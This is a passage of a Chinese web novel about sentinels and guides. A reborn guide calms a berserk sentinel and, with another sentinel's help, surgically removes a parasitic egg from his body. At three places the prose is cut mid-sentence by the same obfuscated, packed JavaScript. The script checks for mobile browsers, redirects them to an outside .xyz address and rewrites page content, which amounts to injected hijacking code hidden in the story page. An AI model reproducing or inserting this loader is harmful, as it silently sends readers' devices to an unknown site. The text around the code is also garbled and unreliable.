浅色眸子的青年,刹那间从地上站起,没再管通讯器,而是在那道黑影,冲向储物柜最深处之前,猛地将那名被困在幻境中的哨兵拉开。 因为惯性和冲劲,那名哨兵发出一声闷响,被摔在了破损的柜子残骸间。 而下一刻,青年就被一道阴影,压在了仅剩还算完好的那几扇柜门、和墙角之前。 霍衔月感到脊背,被撞得微微有些疼,抬头,便对上了一双含着浓重情绪的漆黑眼瞳。 他分明不比隗溯要矮,两人的身高几乎相差无几,可此时他脚下不稳,被死死扣住了两只手腕,气息交缠的时候,他竟感到一种骨子里的恐惧。 就好像,自己会被就这样吃掉,不留一根骨头。 “你要做什么?隗溯,你能听得到我说话吗?”霍衔月的声音,透着紧张和慌乱,只能迷茫地不断重复着呼唤。 压在他身上的黑发哨兵,却仍然没有放开的意思,轻轻靠近着青年的耳畔,那双黑雾般的眸子,仿佛能将一切的光芒吸进去。 霍衔月简直要怀疑,对方已经陷入了精神的暴·乱状态,无法再听见外部的声音了。 “你听我解释,这只是一点意外,我已经教训过他们了……隗溯,通讯器只是我不小心误触,这里没有危险。”他努力开口,想要解释清楚。 黑发黑眸的哨兵,一言不发地听着青年的声音,两具躯体靠得极近,就好像在喃喃低语着爱人的情话。 隗溯能听到,青年说着自己的名字,神情紧张而戒备,似乎在解释着什么。 他有很久,不曾听到这道声音,说出这个名字了。 似乎在最后的那时候,当青年质问他,“你是否从头到尾,没有对我说过一句实话?” 黑发哨兵沉默了很久,久到紧扣在掌心的指节麻木,僵硬的唇无法分开,呼吸都变得沉重而宛如灌了铅块,却仍是没有做出任何的否认。 从那之后,青年的目光,便再不会停留在他的身上,而很快,就彻底离开了这座白塔、甚至是自己能触及得到的任何地方。 隗溯清醒地明白,自己没有陷入精神暴·乱。 很早以前,早在上一世,霍衔月死去的那时候,他的精神体就已经被他撕成了碎片,一块一块吃掉了。 如果变成不成人型的怪物,精神图景中一片空洞与死寂,就可以算作是疯了的话,他早已经堕入深渊。 事到如今,他清醒地明白,自己身上已经没有任何一株藤蔓,还是正常的了。 是的,他没有发疯。 他已经再也不会陷入疯狂了。 忽然,准备室的那堆柜子残骸间,粗壮扭动的哨兵,还单手握着铁棍,似乎从短暂的昏迷中,又苏醒了过来,爬动挣扎着。 那名哨兵大睁着双眼,却什么都看不到,向两人的方向爬动着。 霍衔月骤然转过头去,就看到隗溯几乎没有移动视线,一道快得几乎看不清的扭曲黑影,就从黑发哨兵的身后,抽向地上之人。 依靠精神力的一点点捕捉与感应,他意识到,那说不定就是隗溯的精神体。 然而,那浓重的扭曲黑雾,让霍衔月竟忍不住怀疑,究竟是什么样的精神体,才会是如此狰狞的模样? 地上的那名哨兵,在猛地一阵抽搐后,似乎失去了意识。 霍衔月在震惊之下,忘了自己还埋有一枚精神力种子,可以感应到对方的生命状况。 他用力地挣扎着,想要推开隗溯的身体,去确认对方的情况。 S级哨兵的精神力攻击,会对人造成怎样的冲击,他压根不敢去想象。 “你做了什么,他还活着吗?”霍衔月不顾自己如今,姿势的窘迫,抬眸瞪向了黑发哨兵。 隗溯慢慢眨了眨眼睛,终于,似乎意识到了,两人间如今的姿势,有些过分靠近了。 他略有些困惑地松开手,身躯却仍阻拦在霍衔月的前面,歪头道: “为何要救他,他不是想要伤害你么?” 霍衔月挣扎的动作愣住,总算是想起了,只要那名哨兵的精神图景,没有遭到致命伤,那自己埋下的精神力种子,就不会主动反馈。 这就说明,不管对方会在地上昏迷多久,至少,对方没有受到足以致命的损伤。 青年微不可察地松了一口气,这才发现,如今的状况,似乎变得棘手了起来。 手腕上,方才被扣住的地方,还微微有些发烫。 不知道力气那么大,有没有留下什么红痕。真是糟糕透顶,为什么,他要向分明是毫无干系的前男友,解释自己失手按下通讯器的事故? 霍衔月伸手抵住黑发哨兵的胸口,尽力保持着两人间的距离,声音微微有些不稳,道: “这只是哨兵、向导训练的时候,私下里的一点摩擦,不至于伤人性命。” 他抬起头,想要继续补充道,况且,自己原本并不准备使用通讯器,引来其他哨兵的介入。 然而,青年一对上那双浓雾般的黑色眸子,就好像被那其中,近乎冷厉的情绪,给堵住了口,说不出更多的话来。 他没有见过,黑发哨兵这样的模样,就好像对方当真非常在意,这其中微小的差别。 可是,这不过是他擅自的想象而已,不是吗? 这一世,他们压根还没有产生多少的交集,对方也并没有理由,会这样在乎他的事情。 青年身躯有些僵硬,浅色眸子中微末的光芒,暗淡了些许,宛如藏起了珍珠的贝壳软肉,将坚硬的壳子支撑在外面。 隗溯低头,看了眼地上的一片狼藉,淡淡道: “怎样的训练,会弄成这样?” 霍衔月被黑发哨兵逼问着,有些硬着头皮,解释道:“我要训练精神力攻击的熟练度,还有模拟大赛上,提供的几种热武器。” 他也没有说谎,这确实是他的目的……之一。 隗溯沉默地看着浅色瞳的青年,似乎在很努力地思索着,这份说辞里面的可信度到底在哪。 就在霍衔月以为,对方不会再说话,准备就这么认下的时候。 黑发哨兵退开半步,转头,捡起了不远处,被孤零零落下的那枚通讯器,在自己的衣袖上擦干净灰尘,回头,放进了青年胸口的口袋里。 “明天开始,和我进行训练。”他沉默地盯着青年,半晌,开口说出的话语中,隐隐带上了一股较劲的味道。 霍衔月微微愣住,不明白这是如何导出的结论。 黑发哨兵转身离开的背影,偏过了头,他的神情在背光下,令人有些看不清晰: “明早九点钟,到战斗部的三号训练馆。我来当你的沙包……不论是精神力的攻击,还是各类武器兵刃的使用。” 只要,别去找其他的人。 隗溯默默吞下了后半句话,没能说出。 他转身扶起了一架半倒的铁架,留下了一句“这里的事情我来报告”,便离开了这片一地狼藉的准备室。 仍然只留下了霍衔月一人,没有再给青年拒绝的机会。 这件事的后续如何,后来,霍衔月才隐约从其他哨向那里听说了。 据说,隗溯在报告的时候,只提及了,有塔里的哨兵借机向新人勒索,他碰巧路过。而出手相救的时候,新人已经自力逃跑。 那三名哨兵,因为是早有前科的惯犯,白塔明面上,没有对这份说辞表示怀疑,按例处罚了三人。 因为这番意外,霍衔月再与圆脸向导,秦眠他们汇合的时候,天色已经半暗。 一号训练场之中,大部分的新人向导们,已经试练完了精神力感知,正与其他哨兵们一起,熟练着枪·械的构造和使用。 霍衔月走到武器展示架前,拿起一把漆黑冰冷的小巧手·枪。 这种模拟大赛特制的热武器,无法造成真正的贯穿伤,但其造成的冲击效果,也仍然相当于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14960271|161038||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' A级哨兵的全力击打。 这是为了在不伤及性命的情况下,培养变异人战士们,在禁区的攻击和求生本领。 霍衔月握着那支,制作得过分逼真精良的手·枪,走向划分出的打靶区域,默不作声地填充、拉动枪·拴。 在上辈子,虽然他从不曾真正使用过这种东西,但在最后的那些日子里,他却也始终随身带着它。 因为,他知道自己正在做的事情,太过危险了。 不论什么时候,谁想要他的性命,都不令人奇怪。 如果他真正发掘出了冰原之下,那片“外星人遗迹”的秘密,这会撼动的,不止是联邦一个国家。所有拥有变异人军团的地方,联邦、未来帝国、甚至远在另一片陆地的中洲岛国,也会为之产生剧变。 可是,这又有什么关系呢? 青年扣动数下板·机,特制的子·弹沿着极长的抛物线,落入合成材料的靶子中心,一次比一次,接近那枚中心圆点。 在他身旁不远处,圆脸的年轻向导秦眠,走了过来,目露惊诧地看向那座最远的靶子。 秦眠犹豫了一下子,压低声问道:“你刚刚,是去了哪里?我没有看到你练枪。” 霍衔月偏过头,看着圆脸向导吞吞吐吐,纠纠结结的模样,没有回答问题,只平静地说:“有一些私事。” 秦眠微张开口,似乎想再问什么,可是,对上那双浅淡如水般的眸子,又什么也说不出了,只干巴巴地笑着夸赞道: “你的动作好标准,一次就能射得那么准,我练了一下午,都弄不明白枪·栓到底是怎么回事。” 霍衔月转过身,认真地在圆脸向导的面前,又重新演示了一遍枪·械的组装、填弹、拉拴、最后射向靶心,偏过头道: “怎么样,我可以教你?不过,明天或许我就没有时间了,有些……事情。” 秦眠的双眼亮了起来,也不再顾及青年到底明天有什么其他安排,激动握住了青年的双手,捧起来跳道:“要学,我要,求学神爸爸教我!” 第二天清晨。 霍衔月从向导宿舍区出发,提前两个小时,做完了晨练,洗完澡换上训练服,又绕了一个大圈子,从食堂,向战斗部的地方摸索而去。 虽然他早已看过方位图,上辈子,又并非是没有去过白塔战斗部。 可是,以伪造的普通人医疗官身份,潜入白塔,混进战斗部的那地方,和如今,他身为白塔的新人向导,从正门进入训练馆,还是完全不同的感受。 中途,青年好几次都想要放弃,干脆无视这个单方面的约定,不再与隗溯作出更多的牵扯。 然而那个时候,若不是隗溯的介入,霍衔月要收拾那件事的后续,会变得相当麻烦,或许会花费不少功夫。 时间……毕竟也是很宝贵的东西。 他要完成计划,当然需要更加争分夺秒。 青年自然而然说服了自己,微微紧张地,下意识扣紧了胸口的那枚通讯器,推开三号训练馆的边门。 现在还只有八点多十分,或许战斗部的大部分哨向,现在都还在外面晨练,训练馆中灯光暗淡,大幅的窗户未开,静悄悄的。 霍衔月松了一口气,莫名地有些庆幸,里面还没有其他人在。 训练馆的顶灯开关,似乎在正门的另一个方向,离这扇边门有些距离。 霍衔月摸着昏暗的走道,向另一边探去,脚步很轻。 正当他猜想,开关大约便是在这附近的时候,忽然,训练馆的最深处,一阵动静极大的器具翻倒声,伴随着轻微的男子闷哼,穿透场馆的阴暗处而来。 青年微微拧起眉心,能够感知到,从训练馆深处的那间休息室里,有狂躁的某种哨兵精神力,正猛然炸开,几乎是陷入了暴·动。 而此时此刻,会使用这个场馆的,除了隗溯他们这群战斗部的哨向外,应当再无他人。 霍衔月快步地,朝精神力狂躁的核心而去,一把推开了虚掩着的休息室门。 在窗布缝隙,透出的微弱日光映照下,一名俊逸的金棕发紧身衣制服哨兵,正握着支半满的玻璃针管,浑身颤抖地倒在靠椅和器具之间。 他身旁的海绵软垫上,竟趴卧着一头毛发金黄的成年雄狮,黑金色的巨大瞳孔中,是浓浓的压抑和痛苦,正努力地向哨兵的方向靠着。 而金发哨兵的那头短发间,竟然折着一双柔软的、明显属于野兽的绒毛耳朵。 5. 第 5 章 那名年轻的金发哨兵,似乎终于从意识模糊中,看到了门口的青年,以及青年紧紧盯着那只精神体的惊惧眼神。 霍衔月想起了,这是那名,昨天他在广场上看到,和隗溯一起出现的战斗部哨兵。 对方当时,自来熟地和自己这群新人向导们,交换了姓名和宿舍编号,还准备约着一起参加模拟大赛。 而这个人,也是上辈子,霍衔月不曾在白塔里见过的,战斗部哨兵之一。 也就是说,很有可能,早在自己当初伪造身份、潜入塔里之前,这名超A级金发哨兵,便已经因为“一些原因”,如同其他战斗部的哨向一样,死于非命。 所以,自己上辈子,才不曾在隗溯的周围,见过这名哨兵。 那支玻璃针管里,装的是什么?又或者说,本该装着的是什么? 霍衔月感到有些紧张,缓缓走向那张海绵软垫,搜寻着广场上的记忆中,这名哨兵报出的名字,低声道: “你是,那个人的伙伴,纪戎,是么?” 金发哨兵模模糊糊地听见,休息室门口的那道身影,似乎说出了自己的名字。 他的意识混沌不清,因为精神力的狂躁化,而浑身陷入炽热与痛苦。 这并非是他第一次,遇到这样的情况了。 从前,只有他在精神力使用过度,于禁区厮杀污染物的时候,才会陷入这种窘境。 然而,不知从什么时候开始,就算他只是一个人,静静地待在宿舍,又或者是在训练的间隙,注射营养剂的时候,也会突如其来地陷入燥热。 纪戎努力坐起身来,腿边,他的精神体雄狮,正焦急地拱着哨兵的身体,并观察着面前的青年。 霍衔月在海绵软垫边,单膝跪下,俯身靠近紧紧咬着牙、克制住闷哼的金发哨兵。 他的面色沉静,浅色的眸子中,是冰冷、而如同手术刀般的锋利与宁静。 青年轻声唤着金发哨兵的名字,仿佛在与一名病入膏肓的患者,做着理智平和的商讨: “你认得出我的模样吗?昨天我们见过一面,在模拟大赛的宣讲广场上。” 纪戎被烧得糊涂的脑袋里,已经只能想起几个片段的词汇,完全无法把面前青年的话语,连贯地听懂。 然而,至少,模拟大赛这个词,他还是记得的。 陷入精神狂躁的哨兵,会天然地,想要靠近向导的精神力。而纪戎记得,自己的战斗部里,除了那两个暴力狂攻击型向导,压根就没一个正常的向导。 那么,眼前的模糊影子,是那天,模拟大赛上的谁吗? 霍衔月很有耐心,为了达成目的,或者说,为了能合法合规地对患者“做出诊断”,他并不会怕麻烦,温和道: “我是模拟大赛的宣讲会上,与你和隗溯认识的向导。你还记得吗,你告诉了我们名字,我们还约好,之后,战斗部会和新人哨向组队一同进入比赛。” 纪戎被那个名字,猛然击中了混乱的头脑。 他想起来,这是那名隗溯一见钟情的向导,可是为什么,青年会出现在这个地方? 金发哨兵猛地开始挣扎起来,张开口,有些嘶哑的嗓音,想要发出什么声来,眼瞳中满是绝望与慌张。 如果一名向导,能看见哨兵放出的精神体,毫无疑问,两人的精神力匹配度一定相当高。 这样的哨向,就算在梳理精神图景的过程中,意外产生结合热,也完全不奇怪。 可是,他却并不想因为自己的缘故,让隗溯和喜欢的向导之间,产生什么嫌隙。 他的腿边,金色的狮子也努力龇牙,试图用没有多少威吓感的姿势,来吓退身前的青年。 霍衔月的神情微冷了些,意识到,患者的情绪开始抵抗了起来。 他偏过头,从金发哨兵的手中,抽出那支半满的玻璃针管,用看不见的精神力触手探出,小心触上那其中的液体。 那里面,感应不到任何的精神力碎片。 如果液体有问题,那也是别的方面的情况。 他找出一个防水密封袋,将玻璃针管封入,收进了自己的训练服口袋。 然后,浅色眸子的青年,伸出手,轻抚上了狮子龇起的尖牙。 青年的指尖,那隐约带着压迫感的精神力,几乎是一触碰上狮子的虚拟躯体,就激起了纪戎,一阵恐惧的颤栗。 明明这不是带着攻击性质的精神力,而且,还可能是来自一名,与自己匹配度很高的向导。 可纪戎却本能地感到,自己仿佛被一条冰雪凝成的锁链,一点点地捆绑住动作,就连灵魂深处,都升不起一点反抗的念头。 霍衔月感觉到,患者的情绪终于平稳下来,可以进行有效的交流了。 他没有任何的恶意,也不希望隗溯的同伴,因为不明原因,而一一遭到精神力暴·动的折损,在无人所知的角落消失。 只是,他虽然明白这名金发哨兵,会对自己这位只有一面之缘的向导,产生警惕和抵抗情绪。 但如今的时机太好,正是在模拟大赛开始前,不至于陷入赛场的复杂境地中,而让自己失去最佳的诊断时机。 霍衔月实在是很想要一个机会,查清楚,白塔究竟对战斗部的哨向,做出了什么手脚。 他注视着哨兵,那双异化的黑金色眼瞳,低声平静道: “让我进入你的精神图景,不要抵抗。 现在距离模拟大赛,只有两天了,你准备就这样硬熬过去吗?更何况,我能感受得到,你的精神力狂躁化状态,并不对劲,而你所遇到的情况,其他战斗部的同伴……也有可能遇到了。” 此时此刻,或许,便已经遇到了。 金发哨兵的眼前,视野稍许变得清晰了些,看清了青年的模样与神色。 而他混沌的头脑之中,也因为霍衔月的这句话,而生出了几分清醒和犹疑。 自己一直避开了战斗部的其他人,每每陷入狂躁化,就藏起来,一个人扛过那阵痛苦,对外只说是因为精神力使用过多,才产生了异变。 因为,如自己这样高等级的那些哨兵,一直都是这样的。 就算定期接受向导的义务梳理,也只能稍许延缓狂躁的周期,如同杯水车薪,久而久之,他们就不再愿意尝试了。 可是如果,这种状态并不正常,而精神狂·暴化,也不是只有与向导进行永久匹配,才能解决呢? 纪戎睁大了双眼,就算只是微弱的希望,也令他仍不住想要相信。 战斗部的哨兵、向导,时时刻刻出入禁区,几乎所有人的共识,便是不愿与其他的哨向结合,进行永久匹配。 因为,若是匹配的一方死去,另一个留下的变异人,也会经历比死亡更深的绝望与痛苦。 谁会希望,自己的死亡,成为一把尖锐的利刃,刺入伴侣的胸口? 可他们仍然会渴望希望,渴望活着的自由。 休息室的昏暗阴影中,金色毛发的巨大雄狮,向着青年的方向,顺服地低下头,用毛茸茸的脑袋去蹭对方的指尖。 霍衔月微微愣住了,他不习惯这种亲昵的表示,退开了那只手。 精神梳理大部分情况下,需要肢体触碰,可他不太喜欢触碰陌生人,精神体勉强还能忍受,至少他明白那是虚拟的。 他斟酌了一下,最后决定,两相权衡,还是握精神体的爪子比较好。 青年垂下眸子,有些不情不愿地又伸出右手,放在了金色狮子的面前,咬牙轻声道: “握爪。” 纪戎意识模糊之中,就见自己的精神体,没有做出任何犹豫,就趴卧着,伸出了毛茸茸的前爪。 他隐约有些羞耻,就好像自己,也做出了同样的动作似的。 可面前的青年,从头到尾,都没有露出半点动摇的情绪,仿佛丝毫,不会受到自己精神力躁动的影响,让他不自觉地,也松懈下了心神。 金发哨兵靠在休息室的器械间,努力打开自己精神图景的屏障,容纳青年的精神力触手,通过握手的接触,能顺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14960272|161038||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 利深入内部。 就在他释放自己的所有感官,不令青年的动作,产生任何阻塞的时候。 无限细微处的一道脚步声,穿透三号训练馆的墙面、门窗、层层的阻隔,从极其远的西面,轻轻震动地面,向这个方向而来。 这几乎是身为超A级哨兵的纪戎,在解除了自身的精神力屏障,五感到达最敏锐时刻,所能探知的距离极限。 可这,是否是那道脚步声的主人,所能够探知的最极限距离? 被一股极寒冷酷烈的精神力,猛然冲入图景中的纪戎,几乎无法再维持思考,只感到自己的所有意识,仿佛都被那阵漫天的风雪,所封锁住。 疼痛的,炽热的,所有的感知,都被那道冰雪凝成的锁链所束缚。 唯一能感觉到的,只有在这份可怖的力量之下,毫无悬念的恐惧与服从。 霍衔月闭上眼,尽量仔细地,搜寻着金发哨兵的精神图景之中,可疑的地方,和狂躁情绪的起源点。 这是他第一次,实际意义上,潜入哨兵的精神图景之中,进行梳理。 与对那三名挑事者的攻击不同,他是为了“诊断”的目的,才这么做的,必然不可能太过粗暴,要将所有的角落,都小心地探查清楚。 金发哨兵的精神图景,是一片奇诡开阔的旷野,植被丰饶,却不似是任何现实存在着的植物,十分适合精神体狮子的活动。 然而,霍衔月似乎隐约注意到,在旷野的远方,茂密而混乱的植被堆积处,有某种扭曲空间的力量,正在不着痕迹地,吸收着周围空气中的精神能量。 他的意识,一步步向着图景的更深处靠近,在保持绝对警觉的前提下,接近那处空间的扭曲。 霍衔月还未探到那最深处,忽然,原本乖顺平和的精神体雄狮,在一瞬的僵硬过后,开始剧烈地挣扎起来。 而精神图景的旷野,也随之开始动荡,植被变得有几分模糊不清。 发生什么了?他有些焦躁,还差一点,他就能摸透,那处古怪的空间扭曲,究竟是个什么构造了。 霍衔月没有睁开眼,只强势地增加了精神力的压迫力度,准备在最后的关头,趁着精神图景的图像彻底坍塌前,弄明白对方的症结。 日光慢慢地透过窗布,洒在训练馆一角的休息室内。 在半掩着的休息室门外,站着一道背光的身影,高挑的身躯,流畅而恰到好处的肌肉线条,被包裹在黑色的紧身上衣之中。 隗溯沉默着,站在门外,单手抱着运动包裹,里面是仔细挑选过的练手用武器,思来想去,他还是花了太多的时间准备,至于八点半才到。 可是,当他对上纪戎那挣扎的眼神,和一旁看不见、却能猜得到的大型精神体,他明白,那应当是一头趴卧着的雄狮。 隗溯忽然觉得,自己根本也没有必要出声。 比起自己,精神图景之中一片空洞,或许永远也不会发狂,可也无法再与向导结合。腐烂而变异的藤蔓精神体,就宛如他的内心一样,是深不见底的漆黑。 或许,自己只需要一点点喘息的空间,只要像上辈子那样,在青年入睡后,能够悄悄找一片房间的角落,听着青年的呼吸声,蜷缩在黑暗之中。 就算没有人看得见他,只要他能守着对方,就能够满足了。 可为什么,此时此刻,他却觉得心脏疼得好像重新拥有了血肉? 海绵软垫之上,忽而,意识沉于精神图景之中的青年,抽回了那只握着爪子的右手。 他睁开眼,匆匆伸手握住了金发哨兵的肩膀,将人用力推向海绵垫中心。 纪戎猝不及防地从精神力的压制中,被释放了出来,仰面重重地摔向海绵垫上,恰好与隗溯对上了双眼。 他早就发现了门口的人,可是,却无法发出任何声音。 此时此刻,舒缓了许多的精神力躁动,让他对自己身体的控制,也重新回来了,立刻焦急地开口道: “隗溯,事情不是你想的那样,他……” 6. 第 6 章 霍衔月转过头,也看到了黑发哨兵沉默的身影,他早就料想隗溯快到了,这也是他敢于在休息室,就完全潜入哨兵精神图景的原因之一。 他伸手按住了金发哨兵,用力在对方身前,一把撕开了那件黑色紧身制服上衣,露出赤·裸的上身肌肤。 霍衔月的神情冰冷,从随身的绑带中,抽出一把锋利的军·用匕·首,回头注视着呆立的黑发哨兵,声音沉沉: “隗溯,帮我按住他。我要从他的肚子里,把’卵’取出来。” 黑发哨兵偏过头,看了一眼海绵垫上,狼狈不堪地裸着上身,目露惊恐慌张的纪戎。 对方金发间的那双兽耳,还缩瑟地颤了一下,就像是被欺负狠了。 卵?谁的?在对方的肚子里,怀着谁的卵吗? 青年这样的说话模样,就仿佛,是完全将面前的金发哨兵,当作了砧板上的鱼儿,没有一丝动摇怜悯的神情。 而此时此刻,对方开口的对象,是自己,寻求帮助的对象,也不是其他任何人,而是一同约着训练的自己。 这说明,其中的差别是非常分明的。 隗溯微妙地从这一通歪理中,重新获得了无比的希望,振奋起精神,全力以赴准备辅助青年的手术。 不管纪戎的肚子里到底有什么,怀着孩子他也可以帮忙按着人。 隗溯半俯下身,无视了纪戎震惊挣扎的目光,按住了对方另一侧的肩膀,望着青年的侧脸,声音轻缓温柔道: “发生了什么,你遇到什么麻烦了吗?” 霍衔月被那过分包容的态度,微微怔了住,按着金发哨兵的左手,有些紧绷和不自在。 可在对上,纪戎惊悚疑惑的目光后,他立刻想起了,方才在对方的精神图景中,所感知到的那一幕情形。 霍衔月冷下了神色,指尖落在了哨兵赤·裸着的腹部,沾着休息室里刚找来的酒□□滴,划下一个“X”形标记,道: “他的精神力,已经无法继续支撑住,供养他体内那颗来历不明的卵了。刚才,我提早来到三号训练馆,却碰巧遇上了,他的精神力爆发躁动。 看起来,他只是一个人待在休息室中休整,没有使用大量精神力,却爆发了这么严重的躁动,甚至异变出了兽耳。” 隗溯眸色微深,回忆着近来这些时日,战斗部里那几名状态不太好的哨兵,以及久远的上辈子,记忆的犄角旮旯中,隐约记得的纪戎最后情况。 战斗部的高等级哨兵,一直就是消耗品,在爆发了数次严重的精神躁动后,总会因为各种原因,而死在战场上。 纪戎的情况也大约是如此,他记得,自己曾私下里发现过,对方避开了其他的哨向,一个人硬抗精神力的躁动。 就算是他自己,也一直明白,S级哨兵的身体,虽然比普通人要强悍得多,怎样严重的伤势,也能很快痊愈。 但是,他却总是能感知到,自己或许不知什么时候,便走到了强弩之末。 上辈子,这种没有理由的精神力躁动,隗溯也多少感受过几次。 可他一直也不曾放在心上,到后来,如果不是因为那次任务失败,他重伤险些脑死亡,这些身体上的变化,或许他永远也不会去在意。 这些疑点,是因为某颗“卵”? 隗溯下意识地,看向青年的腹部,声音微紧道:“你能感知到,他体内的那样东西,所以,你也可以把它取出来,是吗?” 霍衔月诧异地看了他一眼,没有料想到,对方会那么快,就接受自己这般诡异的说辞。 这分明是颠覆了常识的猜想,他还以为,自己需要多费一番口舌。 青年点了点头,终于,将目光转向了海绵垫上,慌乱而紧绷着的金发哨兵。 现在,纪戎的精神力躁动,已经被很好地平复了下来,恢复了正常的神志和身体控制。 然而,进一步加剧的身体异化,比如说,兽耳的出现,却是无法轻易恢复的。 这证明了,他距离那道精神彻底暴·乱的临界点,已经越发靠近了。 浅色眸子的青年,放缓了声音,认真注视着金发哨兵的眼睛,平静道: “你愿意相信我吗?我知道,这样的说法,会令人怀疑和害怕。 我能感知到,那个东西周身,微弱的异常精神力。所以,只要一次性把它剖出来,就不会对你的身体,造成更大的伤害,也可以阻止,再次发生异常的精神力躁动。” 纪戎睁大了双眼,蜷缩在他身边的精神体雄狮,安抚般、在他脸上舔了一下。 虽然他理智上明白,这样的事情,对任何哨向而言,都太过骇人听闻,要迅速地接受,实在太过困难。 可望着青年,冰冷而不带一点感情色彩的那双眼眸,方才,从体内抽离的精神力锁链,所留下的寒冷与酷烈触感,仿佛还残留在意识深处。 他无法拒绝,对方所说出的任何话语。 纪戎压抑地垂下眼帘,握紧了掌心,轻声道:“我相信,没有关系,你可以尽管做。” 隗溯骤然撇过头,死死地盯着金发的哨兵,隐隐似乎有什么话咽在口中。 半晌,他沉沉地笑了声,接过一旁青年递来的布条,干涩道:“高等级哨兵恢复得很快,就算是匕首划得偏了些,半小时便能恢复完全,这连小伤都算不上。” 霍衔月看了他一眼,目露不赞同,拧眉道:“这是紧急情况,否则……” 如果,不是马上要临近大赛,他不会用这么偏激的手段。 更何况,就算是哨兵……也不代表,受什么伤都可以不当一回事。 青年的神色似乎有些生气,一下子沉默下来,而隗溯感到一种莫名的恐惧,低下头来,完成着手上被安排下的活。 就好像那道怒火,是朝着他而去一般。 手术有条不紊地进行着,纪戎被绑在一座铁架脚下,而黑发黑眸的哨兵,死死按住了他下意识的挣动。 咬着布条的哨兵,就算展开了五感的屏障,在霍衔月精神力的安抚下,仍能感觉到刀尖划破皮肤的感触。 毕竟,只有永久匹配的向导,才能彻底控制哨兵的所有感知,让自己成为对方的世界之中,唯一真实的存在。 对任何哨兵来说,这样的体验都太过罕见,是他们永远无法拒绝的邀请。 而极高匹配度的灵魂伴侣间,才会产生结合热,得以永久匹配。 就在纪戎因为疼痛,意识近乎模糊之际,一声遥远的声音,从他的头顶穿来:“……可以包扎了。纪戎,能听得到我的声音吗,取出来了。” 他身旁的精神体狮子,终于松下一口气,努力地用脑袋、拱着金发哨兵的肩膀。 隗溯紧皱眉心地,盯着防水袋中,近乎透明的扭曲“生物”,在触碰到空气后,迅速灰败枯萎下去,变成暗红色的卵状物。 而那东西的模样,竟让他想到了,污染潮的外观。 手术一共只持续了半小时不到,因为霍衔月灵敏的精神力感知,几乎没有伤害到周围的身体组织,将创口维持在了最小范围。 而等两人收拾好周围的杂物,包扎完善的金发哨兵坐起身,已经基本恢复了行动能力。 纪戎捏着密封完善的塑胶袋,虽精神上仍还有些虚弱,可事到如今,他也明白了,这并不只是关乎自己一个人的事。 这个暗红色枣核大小、不知究竟是否彻底失去了生机的卵状物,是从自己的腹部,被剖出来的。 甚至于,“它”在仍然存活着的时候,还拥有着微弱的精神力。 虽然纪戎并不是向导,无法准确地感知到他人的精神力,但是,在这个东西身上,却还残留着一抹他自己的精神力碎片。 也就是说,这枚卵,曾寄生在他的身上,而未来的某个时候,甚至有可能破壳而出。 他猛地捂住了自己的嘴巴,一种恶心干呕的冲动,涌上了他的喉间,却什么也吐不出来。 霍衔月与隗溯对视了一眼,不知道该如何安慰,只能保持着沉默。 终于,纪戎开口了: “我们要把这件事,告诉其他战斗部的哨向。” 隗溯神情微动,沉声道:“未必所有的哨兵和向导,都会相信这些话。尤其是,我们还不知道这个东西,究竟是什么来历。” 金发哨兵虚弱地笑了,平淡道: “没错,我的情况比较特殊,身体已经异化到了这个地步,就算没有今天的狂躁发作,也迟早会死,而其他人未必如此。 但是,我还是想做点什么,不可能眼睁睁地看着,这种东西,继续存活在其他人的体内,最终招致一样的后果。” 隗溯抬头,望向布帘掩起的窗外,他不知道,这一次,会引发白塔之中,怎样的变化。 上一世,当他把一切都破坏殆尽,于废墟之上,重启世界的时候,早已有太多的名字,消失在了白塔中。 不论是纪戎,还是其他更多的哨兵和向导 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14960273|161038||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,早在大灾害来临之前,就已经死去。那些名字,他记不太清了。 可是,现在,稍稍产生了一些改变。 他微微勾起唇,在心底明白,不论产生了多少改变,他要做的事,却是不会变化的。 在黑发哨兵的身侧,一直保持着沉默的青年,忽而,开口道: “你在战斗部中,绝对值得信任的变异人,有几人?” 这句话是对纪戎说的。 金发哨兵抬起头,眼底多了一抹亮光,思考了数秒,看着两人道: “如果我把这枚’卵’拿过去,二话不说,就会答应做手术的,有三人。有商议空间的哨向,至少有十余人。至于其他,我并不能做出保证。” 霍衔月垂眸,缓缓道: “这样神不知鬼不觉的做法,将某种活物,长期饲养在变异人的体内,甚至于,还要躲避开,向导对其微弱精神力的感知,这绝对不会是偶然与意外。 不论这样做的人,最终目的为何,都必然需要庞大的力量和精密的谋划。我们贸然打破这种平衡,只会被打得措手不及,唯一的办法,只有暗中行事。 至少,暂时还没有人知道,我们有拿掉定时炸弹的方法。” 隗溯偏过头,道:“在白塔的某个地方,有一处废弃的地下设施,如果分头前往那里,可以不被人注意地会面。” 